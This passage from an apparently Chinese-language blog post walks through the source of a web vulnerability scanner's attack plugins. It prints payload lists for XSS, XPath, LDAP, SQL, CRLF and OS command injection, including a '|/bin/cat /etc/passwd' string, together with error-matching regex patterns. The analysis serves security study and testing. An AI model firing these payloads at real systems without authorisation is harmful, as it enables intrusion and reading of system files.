class="string">"../index.asp"</span>]</div><div class="line">	<span class="keyword">return</span> payload</div></pre></td></tr></table></figure></p>
<p>用于匹配的模式 lib/db/errors/lfi.json：<br><figure class="highlight json"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div></pre></td><td class="code"><pre><div class="line">&#123;</div><div class="line">    <span class="attr">"info"</span>:&#123;</div><div class="line">        <span class="attr">"name"</span>:<span class="string">"LFI"</span>,</div><div class="line">        <span class="attr">"regexp"</span>:[</div><div class="line">            <span class="string">"root:/bin/bash"</span>,</div><div class="line">            <span class="string">"root:/bin/sh"</span>,</div><div class="line">            <span class="string">"java.io.FileNotFoundException:"</span>,</div><div class="line">            <span class="string">"java.lang.Exception:"</span>,</div><div class="line">            <span class="string">"java.lang.IllegalArgumentException:"</span>,</div><div class="line">            <span class="string">"java.net.MalformedURLException:"</span>,</div><div class="line">            <span class="string">"fread\(\):"</span>,</div><div class="line">            <span class="string">"for inclusion \'\(include_path="</span>,</div><div class="line">            <span class="string">"Failed opening required"</span>,</div><div class="line">            <span class="string">"\&lt;b\&gt;Warning\&lt;\/b\&gt;: file\("</span>,</div><div class="line">            <span class="string">"\&lt;b\&gt;Warning\&lt;\/b\&gt;: file_get_contents\("</span>,</div><div class="line">            <span class="string">"open_basedir restriction in effect"</span>,</div><div class="line">            <span class="string">"Failed opening [\'\S*\'] for inclusion \("</span>,</div><div class="line">            <span class="string">"failed to open stream\:"</span>,</div><div class="line">            <span class="string">"root\:\/root\:\/bin\/bash"</span>,</div><div class="line">            <span class="string">"default=multi([0])disk([0])rdisk([0])partition([1])\WINDOWS"</span></div><div class="line">        ]</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<h2 id="plugins-attacks-xss-py"><a href="#plugins-attacks-xss-py" class="headerlink" title="plugins/attacks/xss.py"></a>plugins/attacks/xss.py</h2><p>代码结构与 htmli.py 类似。</p>
<p>对应payload 在 lib/utils/payload.py:51：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">pxss</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" Cross-Site Scripting"""</span></div><div class="line">	payload =  [<span class="string">r"&lt;script&gt;alert('"</span>+r_string(<span class="number">5</span>)+<span class="string">"')&lt;/script&gt;"</span>]</div><div class="line">	payload += [<span class="string">r"&lt;script&gt;alert('"</span>+r_string(<span class="number">5</span>)+<span class="string">r"');&lt;/script&gt;"</span>]</div><div class="line">	payload += [<span class="string">r"\'\';!--\"&lt;"</span>+r_string(<span class="number">5</span>)+<span class="string">r"&gt;=&amp;&#123;()&#125;"</span>]</div><div class="line">	payload += [<span class="string">r"&lt;script&gt;a=/"</span>+r_string(<span class="number">5</span>)+<span class="string">r"/"</span>]</div><div class="line">	payload += [<span class="string">r"&lt;body onload=alert('"</span>+r_string(<span class="number">5</span>)+<span class="string">r"')&gt;"</span>]</div><div class="line">	payload += [<span class="string">r"&lt;iframe src=javascript:alert('"</span>+r_string(<span class="number">5</span>)+<span class="string">r"')&gt;"</span>]</div><div class="line">	payload += [<span class="string">r"&lt;x onxxx=alert('"</span>+r_string(<span class="number">5</span>)+<span class="string">r"') 1='"</span>]</div><div class="line">	payload += [<span class="string">r"&lt;/script&gt;&lt;svg onload=alert("</span>+r_string(<span class="number">5</span>)+<span class="string">r")&gt;"</span>]</div><div class="line">	payload += [<span class="string">r"&lt;svg onload=alert('"</span>+r_string(<span class="number">5</span>)+<span class="string">r"')&gt;"</span>]</div><div class="line">	payload += [<span class="string">r"alert\`"</span>+r_string(<span class="number">5</span>)+<span class="string">r"\`"</span>]</div><div class="line">	payload += [<span class="string">r"&gt;&lt;script&gt;"</span>+r_string(<span class="number">5</span>)+<span class="string">""</span>]</div><div class="line">	payload += [<span class="string">r"\"&gt;&lt;script&gt;alert('"</span>+r_string(<span class="number">5</span>)+<span class="string">"');&lt;/script&gt;"</span>]</div><div class="line">	payload += [<span class="string">r"&lt;  script &gt; "</span>+r_string(<span class="number">5</span>)+<span class="string">" &lt; / script&gt;"</span>]</div><div class="line">	<span class="keyword">return</span> payload</div></pre></td></tr></table></figure></p>
<h2 id="plugins-attacks-xpathi-py"><a href="#plugins-attacks-xpathi-py" class="headerlink" title="plugins/attacks/xpathi.py"></a>plugins/attacks/xpathi.py</h2><p>代码结构与 bufferoverflow.py 类似。</p>
<p>payload 在 lib/utils/payload.py:75：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">xpath</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" Xpath """</span></div><div class="line">	payload = [<span class="string">"\'"</span>]</div><div class="line">	payload += [<span class="string">"//*"</span>]</div><div class="line">	payload += [<span class="string">"@*"</span>]</div><div class="line">	payload += [<span class="string">"\' OR \'=\'"</span>]</div><div class="line">	payload += [<span class="string">"\' OR \'1\'=\'1\'"</span>]</div><div class="line">	payload += [<span class="string">"x\' or 1=1 or \'x\'=\'y"</span>]</div><div class="line">	payload += [<span class="string">"%s\' or 1=1 or \'%s\'=\'%s"</span>%(r_string(<span class="number">10</span>),r_string(<span class="number">10</span>),r_string(<span class="number">10</span>))]</div><div class="line">	payload += [<span class="string">"x' or name()='username' or 'x'='y"</span>]</div><div class="line">	payload += [<span class="string">"%s\' or name()='username' or '%s'='%s"</span>%(r_string(<span class="number">10</span>),r_string(<span class="number">10</span>),r_string(<span class="number">10</span>))]</div><div class="line">	payload += [<span class="string">"\' and count(/*)=1 and \'1\'=\'1"</span>]</div><div class="line">	payload += [<span class="string">"\' and count(/@*)=1 and \'1\'=\'1"</span>]</div><div class="line">	<span class="keyword">return</span> payload</div></pre></td></tr></table></figure></p>
<p>用于匹配的模式在 lib/db/errors/xpath.json：<br><figure class="highlight json"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div></pre></td><td class="code"><pre><div class="line">&#123;</div><div class="line">    <span class="attr">"info"</span>:&#123;</div><div class="line">        <span class="attr">"name"</span>:<span class="string">"XPath"</span>,</div><div class="line">        <span class="attr">"regexp"</span>:[</div><div class="line">            <span class="string">"::xpath()"</span>,</div><div class="line">            <span class="string">"XPATH syntax error\:"</span>,</div><div class="line">            <span class="string">"XPathException"</span>,</div><div class="line">            <span class="string">"XPath\:"</span>,</div><div class="line">            <span class="string">"XPath\(\)"</span>,</div><div class="line">            <span class="string">"System.Xml.XPath.XPathException\:"</span>,</div><div class="line">            <span class="string">"MS\.Internal\.Xml\."</span>,</div><div class="line">            <span class="string">"Unknown error in XPath"</span>,</div><div class="line">            <span class="string">"org.apache.xpath.XPath"</span>,</div><div class="line">            <span class="string">"A closing bracket expected in"</span>,</div><div class="line">            <span class="string">"An operand in Union Expression does not produce a node-set"</span>,</div><div class="line">            <span class="string">"Cannot convert expression to a number"</span>,</div><div class="line">            <span class="string">"Document Axis does not allow any context Location Steps"</span>,</div><div class="line">            <span class="string">"Empty Path Expression"</span>,</div><div class="line">            <span class="string">"Empty Relative Location Path"</span>,</div><div class="line">            <span class="string">"Empty Union Expression"</span>,</div><div class="line">            <span class="string">"Expected \'\)\' in"</span>,</div><div class="line">            <span class="string">"Expected node test or name specification after axis operator"</span>,</div><div class="line">            <span class="string">"Incompatible XPath key"</span>,</div><div class="line">            <span class="string">"Incorrect Variable Binding"</span>,</div><div class="line">            <span class="string">"libxml2 library function failed"</span>,</div><div class="line">            <span class="string">"xmlsec library function"</span>,</div><div class="line">            <span class="string">"error \'80004005\'"</span>,</div><div class="line">            <span class="string">"A document must contain exactly one root element\."</span>,</div><div class="line">            <span class="string">"Expected token \']\'"</span>,</div><div class="line">            <span class="string">"\&lt;p\&gt;msxml4.dll\&lt;\/font\&gt;"</span>,</div><div class="line">            <span class="string">"4005 Notes error: Query is not understandable"</span></div><div class="line">        ]</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<h2 id="plugins-attacks-crlf-py"><a href="#plugins-attacks-crlf-py" class="headerlink" title="plugins/attacks/crlf.py"></a>plugins/attacks/crlf.py</h2><p>payload中注入的模式是<code>Set-Cookie:crlf=injection</code>，在进行检测时把<code>=injection</code>替换成随机字符串。然后在返回头的<code>Set-Cookie</code>(若有)中检测注入的随机字符串。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">crlf</span><span class="params">(Request)</span>:</span></div><div class="line">	<span class="string">""" Carriage Return Line Feed """</span></div><div class="line">	get = <span class="string">"GET"</span></div><div class="line">	post = <span class="string">"POST"</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,kwargs,url,data)</span>:</span></div><div class="line">		Request.__init__(self,kwargs)</div><div class="line">		self.url = url </div><div class="line">		self.data = data</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" Run """</span></div><div class="line">		info(<span class="string">'Checking CRLF Injection...'</span>)</div><div class="line">		URL = <span class="keyword">None</span></div><div class="line">		DATA = <span class="keyword">None</span></div><div class="line">		PAYLOAD = <span class="keyword">None</span></div><div class="line">		<span class="comment"># start</span></div><div class="line">		<span class="keyword">for</span> payload <span class="keyword">in</span> crlfp():</div><div class="line">			random_string = r_string(<span class="number">20</span>)</div><div class="line">			payload = payload.replace(<span class="string">'=injection'</span>,random_string)</div><div class="line">			<span class="comment"># check host </span></div><div class="line">			req = self.Send(CPath(self.url,<span class="string">'/%s'</span>%payload),method=self.get)</div><div class="line">			<span class="keyword">if</span> <span class="string">'Set-Cookie'</span> <span class="keyword">in</span> req.headers.keys():</div><div class="line">				<span class="keyword">if</span> search(random_string,req.headers[<span class="string">'Set-Cookie'</span>],I):</div><div class="line">					plus(<span class="string">'A potential \"Carriage Return Line Feed\" was found at: '</span>)</div><div class="line">					more(<span class="string">'URL: &#123;&#125;'</span>.format(req.url))</div><div class="line">					more(<span class="string">'PAYLOAD: &#123;&#125;'</span>.format(payload))</div><div class="line">					<span class="keyword">break</span></div><div class="line">			<span class="comment"># post method</span></div><div class="line">			<span class="keyword">if</span> self.data:</div><div class="line">				<span class="comment"># data add payload</span></div><div class="line">				addPayload = preplace(self.url,payload,self.data)</div><div class="line">				<span class="keyword">for</span> data <span class="keyword">in</span> addPayload.run():</div><div class="line">					<span class="comment"># send request</span></div><div class="line">					req = self.Send(url=self.url,method=self.post,data=data)</div><div class="line">					<span class="comment"># search payload in response content</span></div><div class="line">					<span class="keyword">if</span> <span class="string">'Set-Cookie'</span> <span class="keyword">in</span> req.headers.keys():</div><div class="line">						<span class="keyword">if</span> search(random_string,req.headers[<span class="string">'Set-Cookie'</span>],I):</div><div class="line">							URL = req.url </div><div class="line">							DATA = data </div><div class="line">							PAYLOAD = payload</div><div class="line">							<span class="keyword">break</span></div><div class="line">			<span class="comment"># get method</span></div><div class="line">			<span class="keyword">else</span>:</div><div class="line">				<span class="comment"># url and payload</span></div><div class="line">				urls = preplace(self.url,payload,<span class="keyword">None</span>)</div><div class="line">				<span class="keyword">for</span> url <span class="keyword">in</span> urls.run():</div><div class="line">					<span class="comment"># send request</span></div><div class="line">					req = self.Send(url=url,method=self.get)</div><div class="line">					<span class="comment"># search payload in response content</span></div><div class="line">					<span class="keyword">if</span> <span class="string">'Set-Cookie'</span> <span class="keyword">in</span> req.headers.keys():</div><div class="line">						<span class="keyword">if</span> search(random_string,req.headers[<span class="string">'Set-Cookie'</span>],I):</div><div class="line">							URL = url</div><div class="line">							PAYLOAD = payload</div><div class="line">							<span class="keyword">break</span></div><div class="line">			<span class="comment"># break if URL and PAYLOAD not empty</span></div><div class="line">			<span class="keyword">if</span> URL <span class="keyword">and</span> PAYLOAD:</div><div class="line">				<span class="comment"># print</span></div><div class="line">				<span class="keyword">if</span> DATA != <span class="keyword">None</span>:</div><div class="line">					plus(<span class="string">"A potential \"Carriage Return Line Feed\" was found at:"</span>)</div><div class="line">					more(<span class="string">"URL: &#123;&#125;"</span>.format(URL))</div><div class="line">					more(<span class="string">"POST DATA: &#123;&#125;"</span>.format(DATA))</div><div class="line">					more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(PAYLOAD))</div><div class="line">				<span class="keyword">elif</span> DATA == <span class="keyword">None</span>:</div><div class="line">					plus(<span class="string">"A potential \"Carriage Return Line Feed\" was found at:"</span>)</div><div class="line">					more(<span class="string">"URL: &#123;&#125;"</span>.format(URL))</div><div class="line">					more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(PAYLOAD))</div><div class="line">				<span class="comment"># break</span></div><div class="line">				<span class="keyword">break</span></div></pre></td></tr></table></figure>
<p>对应payload 在 lib/utils/payload.py:21：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">crlfp</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">"""Carriage Return Line Feed"""</span></div><div class="line">	payload  = [<span class="string">r'%%0a0aSet-Cookie:crlf=injection'</span>]</div><div class="line">	payload += [<span class="string">r'%0aSet-Cookie:crlf=injection'</span>]</div><div class="line">	payload += [<span class="string">r'%0d%0aSet-Cookie:crlf=injection'</span>]</div><div class="line">	payload += [<span class="string">r'%0dSet-Cookie:crlf=injection'</span>]</div><div class="line">	payload += [<span class="string">r'%23%0d%0aSet-Cookie:crlf=injection'</span>]</div><div class="line">	payload += [<span class="string">r'%25%30%61Set-Cookie:crlf=injection'</span>]</div><div class="line">	payload += [<span class="string">r'%2e%2e%2f%0d%0aSet-Cookie:crlf=injection'</span>]</div><div class="line">	payload += [<span class="string">r'%2f%2e%2e%0d%0aSet-Cookie:crlf=injection'</span>]</div><div class="line">	<span class="keyword">return</span> payload</div></pre></td></tr></table></figure></p>
<h2 id="plugins-attacks-oscommand-py"><a href="#plugins-attacks-oscommand-py" class="headerlink" title="plugins/attacks/oscommand.py"></a>plugins/attacks/oscommand.py</h2><p>代码结构与 htmli.py 类似。根据payload，直接在响应中去匹配特殊字符<code>if search(&#39;{}&#39;.format(payload.split(&#39;&quot;&#39;)[1]),req.content):</code> 。</p>
<p>对应payload在 lib/utils/payload.py:124<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">os</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" OS Command Injection """</span></div><div class="line">	payload = [<span class="string">"%secho \"%s\""</span>%(quote_plus(<span class="string">"&amp;"</span>),r_string(<span class="number">30</span>))]</div><div class="line">	payload += [<span class="string">"%secho \"%s\""</span>%(quote_plus(<span class="string">"&amp;&amp;"</span>),r_string(<span class="number">30</span>))]</div><div class="line">	payload += [<span class="string">"%secho \"%s\""</span>%(quote_plus(<span class="string">"|"</span>),r_string(<span class="number">30</span>))]</div><div class="line">	payload += [<span class="string">"%secho \"%s\""</span>%(quote_plus(<span class="string">";"</span>),r_string(<span class="number">30</span>))]</div><div class="line">	payload += [<span class="string">"%secho \"%s\""</span>%(quote_plus(<span class="string">"||"</span>),r_string(<span class="number">30</span>))]</div><div class="line">	payload += [<span class="string">"\techo \"%s\""</span>%(r_string(<span class="number">30</span>))]</div><div class="line">	payload += [<span class="string">"\t\techo \"%s\""</span>%(r_string(<span class="number">30</span>))]</div><div class="line">	payload += [<span class="string">"%s\"/bin/cat /etc/passwd\""</span>%quote_plus(<span class="string">'|'</span>)]</div><div class="line">	payload += [<span class="string">"%s\"/etc/passwd\""</span>%quote_plus(<span class="string">'|'</span>)]</div><div class="line">	<span class="keyword">return</span> payload</div></pre></td></tr></table></figure></p>
<h2 id="plugins-attacks-ldapi-py"><a href="#plugins-attacks-ldapi-py" class="headerlink" title="plugins/attacks/ldapi.py"></a>plugins/attacks/ldapi.py</h2><p>代码结构与 bufferoverflow.py 类似。</p>
<p>payload 在 lib/utils/payload.py:197：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">ldap</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" LDAP Injection """</span></div><div class="line">	payload = [<span class="string">"!"</span>]</div><div class="line">	payload += [<span class="string">"%29"</span>]</div><div class="line">	payload += [<span class="string">"%21"</span>]</div><div class="line">	payload += [<span class="string">"%28"</span>]</div><div class="line">	payload += [<span class="string">"%26"</span>]</div><div class="line">	payload += [<span class="string">"("</span>]</div><div class="line">	payload += [<span class="string">")"</span>]</div><div class="line">	payload += [<span class="string">"@\'"</span>]</div><div class="line">	payload += [<span class="string">"*()|&amp;'"</span>]</div><div class="line">	payload += [<span class="string">"%s*"</span>%r_string(<span class="number">10</span>)]</div><div class="line">	payload += [<span class="string">"*(|(%s=*))"</span>%r_string(<span class="number">10</span>)]</div><div class="line">	payload += [<span class="string">"%s*)((|%s=*)"</span>%(r_string(<span class="number">10</span>),r_string(<span class="number">10</span>))] </div><div class="line">	payload += [<span class="string">r"%2A%28%7C%28"</span>+r_string(<span class="number">10</span>)+<span class="string">r"%3D%2A%29%29"</span>]</div><div class="line">	<span class="keyword">return</span> payload</div></pre></td></tr></table></figure></p>
<p>用于匹配的模式在 lib/db/errors/xpath.json：<br><figure class="highlight json"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line">&#123;</div><div class="line">    <span class="attr">"info"</span>:&#123;</div><div class="line">        <span class="attr">"name"</span>:<span class="string">"LDAP"</span>,</div><div class="line">        <span class="attr">"regexp"</span>:[</div><div class="line">            <span class="string">"supplied argument is not a valid ldap"</span>,</div><div class="line">            <span class="string">"javax\.naming\.NameNotFoundException"</span>,</div><div class="line">            <span class="string">"javax\.naming\.directory\.InvalidSearchFilterException"</span>,</div><div class="line">            <span class="string">"Invalid DN syntax"</span>,</div><div class="line">            <span class="string">"LDAPException*"</span>,</div><div class="line">            <span class="string">"Module Products\.LDAPMultiPlugins"</span>,</div><div class="line">            <span class="string">"IPWorksASP\.LDAP"</span>,</div><div class="line">            <span class="string">"Local error occurred"</span>,</div><div class="line">            <span class="string">"Object does not exist"</span>,</div><div class="line">            <span class="string">"An inappropriate matching occurred"</span></div><div class="line">        ]</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<h2 id="plugins-attacks-headerxss-py"><a href="#plugins-attacks-headerxss-py" class="headerlink" title="plugins/attacks/headerxss.py"></a>plugins/attacks/headerxss.py</h2><p>检查存在于头部字段的XSS，包括<code>cookie</code>字段，<code>referer</code>字段，<code>useragent</code>字段。其实就是拿xss的payload放在对应的位置再打一圈。话说这个位置的xss危害不大吧。。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">headerxss</span><span class="params">(Request)</span>:</span></div><div class="line">	<span class="string">""" Cross-Site Scripting (XSS) in headers value """</span></div><div class="line">	get = <span class="string">"GET"</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,kwargs,url,data)</span>:</span></div><div class="line">		Request.__init__(self,kwargs)</div><div class="line">		self.url = url </div><div class="line">		self.data = data</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">"""Run"""</span></div><div class="line">		info(<span class="string">'Checking XSS on Headers..'</span>)</div><div class="line">		self.cookie()</div><div class="line">		self.referer()</div><div class="line">		self.useragent()</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">cookie</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" Check cookie """</span></div><div class="line">		<span class="keyword">for</span> payload <span class="keyword">in</span> pxss():</div><div class="line">			headers = &#123;</div><div class="line">						<span class="string">'Cookie'</span>:<span class="string">'&#123;&#125;'</span>.format(payload)</div><div class="line">			&#125;</div><div class="line">			req = self.Send(url=self.url,method=self.get,headers=headers)</div><div class="line">			<span class="comment"># search payload in content</span></div><div class="line">			<span class="keyword">if</span> search(payload,req.content):</div><div class="line">				plus(<span class="string">"A potential \"Cross-Site Scripting (XSS)\" was found at cookie header value:"</span>)</div><div class="line">				more(<span class="string">"URL: &#123;&#125;"</span>.format(req.url))</div><div class="line">				more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(payload))</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">referer</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" Check referer """</span></div><div class="line">		<span class="keyword">for</span> payload <span class="keyword">in</span> pxss():</div><div class="line">			headers = &#123;</div><div class="line">						<span class="string">'Referer'</span>:<span class="string">'&#123;&#125;'</span>.format(payload)</div><div class="line">			&#125;</div><div class="line">			req = self.Send(url=self.url,method=self.get,headers=headers)</div><div class="line">			<span class="comment"># search payload in content</span></div><div class="line">			<span class="keyword">if</span> search(payload,req.content):</div><div class="line">				plus(<span class="string">"A potential \"Cross-Site Scripting (XSS)\" was found at referer header value:"</span>)</div><div class="line">				more(<span class="string">"URL: &#123;&#125;"</span>.format(req.url))</div><div class="line">				more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(payload))</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">useragent</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" Check user-agent """</span></div><div class="line">		<span class="keyword">for</span> payload <span class="keyword">in</span> pxss():</div><div class="line">			headers = &#123;</div><div class="line">						<span class="string">'User-Agent'</span>:<span class="string">'&#123;&#125;'</span>.format(payload)</div><div class="line">			&#125;</div><div class="line">			req = self.Send(url=self.url,method=self.get,headers=headers)</div><div class="line">			<span class="comment"># search payload in content</span></div><div class="line">			<span class="keyword">if</span> search(payload,req.content):</div><div class="line">				plus(<span class="string">"A potential \"Cross-Site Scripting (XSS)\" was found at user-agent header value:"</span>)</div><div class="line">				more(<span class="string">"URL: &#123;&#125;"</span>.format(req.url))</div><div class="line">				more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(payload))</div></pre></td></tr></table></figure></p>
<h2 id="plugins-attacks-sqli-py"><a href="#plugins-attacks-sqli-py" class="headerlink" title="plugins/attacks/sqli.py"></a>plugins/attacks/sqli.py</h2><p>代码结构与 bufferoverflow.py 类似。</p>
<p>payload 在 lib/utils/payload.py:101：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">sql</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">"""Generic SQL"""</span></div><div class="line">	payload = [<span class="string">"\'"</span>]</div><div class="line">	payload += [<span class="string">"\\\'"</span>]</div><div class="line">	payload += [<span class="string">"||\'"</span>]</div><div class="line">	payload += [<span class="string">"1\'1"</span>]</div><div class="line">	payload += [<span class="string">"-%s"</span>%(r_time())]</div><div class="line">	payload += [<span class="string">"\'%s"</span>%(r_time())]</div><div class="line">	payload += [<span class="string">"%s\'"</span>%(r_string(<span class="number">10</span>))]</div><div class="line">	payload += [<span class="string">"\\\"%s"</span>%(r_string(<span class="number">10</span>))]</div><div class="line">	payload += [<span class="string">"%s=\'%s"</span>%(r_time(),r_time())]</div><div class="line">	payload += [<span class="string">"))\'+OR+%s=%s"</span>%(r_time(),r_time())]</div><div class="line">	payload += [<span class="string">"))) AND %s=%s"</span>%(r_time(),r_time())]</div><div class="line">	payload += [<span class="string">"; OR \'%s\'=\'%s\'"</span>%(r_time(),r_time())]</div><div class="line">	payload += [<span class="string">"\'OR \'))%s=%s --"</span>%(r_time(),r_time())]</div><div class="line">	payload += [<span class="string">"\'AND \')))%s=%s --#"</span>%(r_time(),r_time())]</div><div class="line">	payload += [<span class="string">" %s 1=1 --"</span>%(r_string(<span class="number">20</span>))]</div><div class="line">	payload += [<span class="string">" or sleep(%s)=\'"</span>%(r_time())]</div><div class="line">	payload += [<span class="string">"%s' AND userid IS NULL; --"</span>%(r_string(<span class="number">10</span>))]</div><div class="line">	payload += [<span class="string">"\") or pg_sleep(%s)--"</span>%(r_time())]</div><div class="line">	payload += [<span class="string">"; exec (\'sel\' + \'ect us\' + \'er\')"</span>]</div><div class="line">	<span class="keyword">return</span> payload</div></pre></td></tr></table></figure></p>
<p>用于匹配的模式在 lib/db/sqldberror/ 下。略过不提。</p>
